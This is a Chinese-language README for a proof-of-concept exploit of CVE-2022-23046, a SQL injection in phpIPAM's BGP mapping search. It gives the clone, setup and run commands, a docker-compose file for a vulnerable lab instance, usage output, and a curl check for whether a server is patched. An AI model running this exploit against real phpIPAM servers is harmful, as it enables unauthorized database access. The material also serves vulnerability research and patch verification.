原始发现和手动PoC来自Fluidattacks:
PhpIPAM v1.4.4 允许经过身份验证的管理员用户在通过 app/admin/routing/edit-bgp-mapping-search.php 搜索子网时,在“subnet”参数中注入 SQL 语句。
此PoC执行一些简单的SQL注入以获取如下信息:
其中一些信息可以通过后端访问,但我在这里添加只是为了方便在单个查询中获取所有信息。请随意添加/删除你自己的有效载荷。
对于更高级的操作,请创建你自己的有效载荷(在 res.payloads 中),使用 Burp Suite 或 sqlmap。
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

我已在不同的 phpipam 版本 1.4.3、1.4.4 和 1.5 上测试了此PoC,均正常工作(不仅限于 < 1.4.5)。查看 phpipam GitHub 项目时,我发现提交 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d 也影响了版本 1.5。
有用的文件:https://github.com/phpipam/phpipam/blob/master/misc/CHANGELOG
检查 CHANGELOG 是否可访问并包含关于此修复的注释,否则 phpipam 服务器可能易受攻击。
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"